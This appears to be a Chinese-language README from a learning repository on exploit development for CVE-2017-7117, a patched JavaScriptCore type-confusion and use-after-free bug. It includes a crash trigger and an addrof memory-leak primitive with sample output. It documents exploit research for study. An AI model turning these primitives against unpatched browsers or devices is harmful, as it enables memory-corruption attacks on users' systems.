一个类型混淆和 UAF(释放后使用)漏洞,存在于 iOS 10.3.4 及更早版本,以及 Safari 11.0 之前。
CVE-2017-7117:mitre.org
由 @lokihardt 发现,来源:Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
运行上述代码会导致 JSC 崩溃。
我们构建一个大型数组 arr,使 JIT 编译器混淆地将其视为字符串。
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
当对 i 的引用丢失后,我们保持对原始数组 arr 的访问,从而可以读取底层内存。
通过喷射已知值,我们可以找到该数组并向上遍历,定位到任意对象的指针。
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
值通过 Uint32Array 在内存中访问,低字节在前,高字节在后。
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
你可以使用 describe() 验证地址的有效性。
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
目前已在以下环境测试通过:
尚未(尚未)在 iPhone 5、iOS 10.3.4 上生效。让我们找出原因……
本仓库仅作为教育资料,用于记录我在漏洞利用开发中的学习过程。该漏洞已修复超过7年。显然,不要将其用于任何罪恶目的。